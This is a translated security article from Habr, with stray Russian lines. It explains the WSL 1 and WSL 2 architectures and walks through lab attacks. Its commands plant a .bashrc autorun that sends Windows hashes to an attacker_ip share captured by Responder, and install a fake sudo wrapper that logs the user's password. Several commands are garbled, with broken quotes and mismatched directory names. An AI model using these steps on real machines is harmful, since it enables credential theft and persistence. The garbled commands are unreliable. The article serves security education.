WSL eksperimenti. Dio 1

Zdravo, habr! OTUS pokreće novi tok kurseva u oktobru "Linux sigurnost". U iščekivanju početka kursa, sa vama dijelimo članak koji je napisao jedan od naših nastavnika, Alexander Kolesnikov.

WSL eksperimenti. Dio 1

Microsoft je 2016. godine predstavio novu WSL tehnologiju IT zajednici (Wunutra Spodsistem za Linux), što je u budućnosti omogućilo ujedinjavanje ranije nepomirljivih konkurenata koji su se borili za popularnost među običnim i naprednim korisnicima OS: Windows i Linux. Ova tehnologija je omogućila korištenje Linux OS alata u Windows okruženju bez potrebe za pokretanjem Linuxa, na primjer, korištenjem Multi-boot-a. Na Habru možete pronaći veliki broj članaka koji opisuju prednosti korištenja WSL-a. Međutim, nažalost, u vrijeme nastanka ovog članka, na ovom resursu nisu pronađene studije o sigurnosti takve simbioze operativnih sistema. Ovaj post će biti pokušaj da se ovo ispravi. U članku će se govoriti o karakteristikama WSL 1 i 2 arhitektura i ispitati nekoliko primjera napada na sisteme koji koriste ove tehnologije. Članak je podijeljen u 2 dijela. Prvi će pružiti glavne teorijske metode napada iz Linuxa i Windowsa. Drugi članak će uključivati ​​postavljanje testnog okruženja i reprodukciju napada.

WSL 1: arhitektonske karakteristike

Za najpreciznije uronjenje u pitanja sigurnosti WSL-a, potrebno je odrediti glavne nijanse povezane s implementacijom podsistema. Jedan od glavnih korisničkih zadataka koje rješava WSL je mogućnost rada preko Linux terminala na hostu koji koristi Windows OS. Takođe, ponuđena kompatibilnost je bila toliko izvorna da su se Linux izvršne datoteke (ELF) mogle pokrenuti direktno na Windows sistemu. Da bi se postigli ovi ciljevi, kreiran je poseban podsistem u Windowsu 10 koji vam omogućava da pokrenete Linux aplikacije koristeći skup specifičnih sistemskih poziva - tako je učinjen pokušaj mapiranja skupa Linux sistemskih poziva na Windows. Ovo je fizički implementirano dodavanjem novih drajvera i novog formata procesa. Vizuelno arhitektura je izgledala ovako:

WSL eksperimenti. Dio 1

Zapravo, interakcija sa Linux operativnim sistemom je organizovana kroz nekoliko modula kernela i posebnu vrstu procesa - pico. Iz gornjeg dijagrama možete vidjeti da proces koji se izvodi na Linux instanci na hostu mora biti izvorni i mora koristiti iste resurse kao i obične Windows aplikacije. Ali kako to postići? U projektu Pokretni most Razvijeni su koncepti procesa za Windows koji su obezbijedili sve potrebne komponente operativnog sistema (u zavisnosti od njegove verzije) za pokretanje aplikacije drugog OS-a.

Imajte na umu da je predložena apstrakcija omogućila da se ne fokusira na operativni sistem (posebno Windows), u kojem se očekuje da će se pokrenuti proces drugog OS-a, i predložila je opšti pristup.

Dakle, bilo koja aplikacija unutar pico procesa može se pokrenuti bez obzira na Windows kernel:

  1. Probleme kompatibilnosti i prevođenja sistemskih poziva moraju rješavati posebni provajderi;
  2. Kontrola pristupa se mora vršiti preko Security Monitora. Monitor se nalazi u kernelu i stoga je Windowsu bila potrebna nadogradnja u obliku novog drajvera koji bi mogao djelovati kao provajder za takve procese. Prototip pico procesa je shematski predstavljen u nastavku:

WSL eksperimenti. Dio 1

Budući da Linux sistem datoteka koristi imena datoteka i direktorija osjetljiva na velika i mala slova, Windowsu su dodana 2 tipa sistema datoteka za rad sa WSL-om - VolFS i DriveFS. VolFS je implementacija Linux sistema datoteka, DriveFS je sistem datoteka koji radi prema Windows pravilima, ali ima mogućnost odabira osjetljivosti na velika i mala slova.

WSL 2

WSL 1 je imao niz ograničenja koja mu nisu dozvoljavala da se koristi za rješavanje maksimalnog raspona zadataka: na primjer, nije imao mogućnost pokretanja 32-bitnih Linux aplikacija, a bilo je nemoguće koristiti drajvere uređaja. Stoga je 2020. izašao WSL 2, koji je promijenio pristup izgradnji podsistema. WSL 2 je optimizirana virtuelna mašina koja odgovara karakteristikama potrošnje resursa WSL 1. Sada, ovisno o problemima koje rješava korisnik Windows OS-a, možete odabrati potrebnu verziju Linux podsistema. Da bi se ublažile moguće ranjivosti, WSL 2 je implementiran na bazi Hyper-V u Windows 10. U ovom obliku, Windows ima mogućnost pokretanja kernela Linux operativnog sistema u izolaciji. Vrijedi podsjetiti da je verzija 1 WSL-a predstavljena kao beta funkcija koja je trebala pokazati smjer razvoja Windowsa u ovoj oblasti, tako da je prelazak na Hyper-V bio neizbježan. Konačna arhitektura izgleda ovako:

WSL eksperimenti. Dio 1

U ovoj verziji, Windows i Linux kerneli imaju svoje vlastite resurse i raskrsnica postoji samo u sistemu datoteka, ali ovo raskrsnica nije potpuna. Interakcija između sistema datoteka odvija se kroz omotač klijent-server koji radi koristeći 9P protokol.

Danas Microsoft pruža mogućnost prebacivanja između WSL 1 i WSL 2. Obje verzije su dostupne za upotrebu.

WSL Security

Trenutno postoji nekoliko radova koji opisuju neke pristupe korištenju legitimnih OS alata za napad na komunikaciju između podsistema. Koristit ćemo njihove skripte da provjerimo relevantnost napada u vrijeme pisanja. Opšta lista napada i scenarija:

1. Implementacija sistema datoteka: prava pristupa, dostupnost zajedničkih direktorija/mehanizmi razmjene podataka.

Provedeno je istraživanje radi utvrđivanja kršenja pravila pristupa od strane Linux FS->Windows FS, Windows FS->Linux FS. Istraživanje je pokazalo mogućnost modifikacije date datoteke unutar ciljnog OS-a. Pokušali su i zamjena, kreiranje duplikata i brisanje dijela sistema datoteka.

Scenarij:

  • A. Napad iz Windows operativnog sistema - modifikacija datoteka iz /etc direktorija Linux OS-a.
  • B. Napad sa Linux operativnog sistema - modifikacija fajlova u direktorijumima: C:Windows, C:Program Files, C:Users<User>

2. Implementacija mrežnog steka.

Istraživanje je provedeno na primjerima napada iz Linux operativnog sistema na Windows. Korištene su karakteristike mrežnog steka, odnosno mehanizmi provjere autentičnosti na različitim resursima.

Scenarij:

  • Otvaranje pristupa portu koji je zauzet na Windows sistemu
  • Otvaranje porta bez odgovarajućih prava
  • Pokretanje obrnute ljuske koristeći elf datoteku na Windows operativnom sistemu.

3. Skrivanje pokretanja zlonamjernih softverskih procesa pomoću WSL podsistema.

Istraživanje se zasnivalo na jednostavnoj činjenici - sigurnosni podsistemi ne mogu presresti događaje u drugom kernelu koji radi koristeći legitimnog provajdera iz operativnog sistema u slučaju WSL 1. U slučaju WSL 2, ne postoji način da vidite događaje koji se dešavaju u zasebnom kernelu unutar lagane virtuelne mašine.

Scenarij:

1) Pokrenite aplikaciju za daljinski pristup sistemu i pogledajte evidentirane događaje.

WSL 1 eksperimenti: presretanje hash-a (Windows)

Konačno smo došli do praktičnog dijela. Prvo morate postaviti testno okruženje. Svi eksperimenti će se izvoditi na klupi sa instaliranim Windows 10 2004. Slika Ubuntu 18.04 je odabrana kao slika operativnog sistema za WSL. Slika je odabrana nasumično, a svaka druga će raditi isto. Komande za postavljanje štanda:

Prvo morate pokrenuti powershell.exe kao administrator.

Za WSL 1 morate pokrenuti naredbe:

  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

  • Ubuntu.appx install —root #Установим образ
  • Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
  • Restart-Computer #Перезагрузим
  • Nakon ponovnog pokretanja postolja, možete pozvati bash komandu. Ako je sve funkcionisalo kako treba, videćete izlaz sličan ovom u Windows konzoli:

    WSL eksperimenti. Dio 1

    Koristićemo Kali Linux distribuciju kao mašinu napadača; sve mašine moraju biti na istoj lokalnoj mreži.

    Pretpostavimo da imamo neprivilegovan pristup WSL-u na Windows mašini. Pokušajmo napasti Linux operativni sistem pozivanjem komande iz Linuxa. Za implementaciju napada koristit ćemo jednostavnu tehniku ​​autorun - dodaćemo našu skriptu za izvršavanje u Linux okruženju. Da biste to učinili, morate promijeniti datoteku .bashrc.

    Na mašini sa WSL-om izvršavamo:

    	1. bash
    	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit

    Na Kali Linux mašini pokrećemo:

    1. Responder -I eth0 -rdvw

    Na Windows mašini, pokrenimo bash.

    Čekamo rezultat na Kali Linux mašini:

    WSL eksperimenti. Dio 1

    Tako smo dobili heševe Windows korisnika preko WSL podsistema izvršavanjem naredbe na Linux sistemu.

    WSL 1 eksperimenti: dobivanje korisničke lozinke (Linux OS)

    Uradimo još jedan eksperiment. Tokom ove provjere dodaćemo fajlu .bashrc nekoliko naredbi kako bi se dobila korisnička lozinka za operativni sistem Linux.

    Pokrenimo bash i unesemo komande:

    1. mkdir .hidden
    2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
    3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
    4. echo "echo """ >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo "Sorry, try again."" >> .mysudo/sudo
    7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit

    Da bi uspješno dovršio napad, korisnik Sam treba pozvati sudo u Linux terminalu. Nakon toga, korisnička lozinka za Linux OS će biti u datoteci pass.txt:

    WSL eksperimenti. Dio 1

    Implementacija napada data je samo za teoretsku informaciju.

    Sljedeći dio članka će opisati implementaciju 9P protokola, razmotriti stvaranje skenera za ovaj protokol, te također izvršiti napad koristeći ga.

    Lista korištene literature

    WSL eksperimenti. Dio 1

    Čitaj više

    izvor: www.habr.com

    Dodajte komentar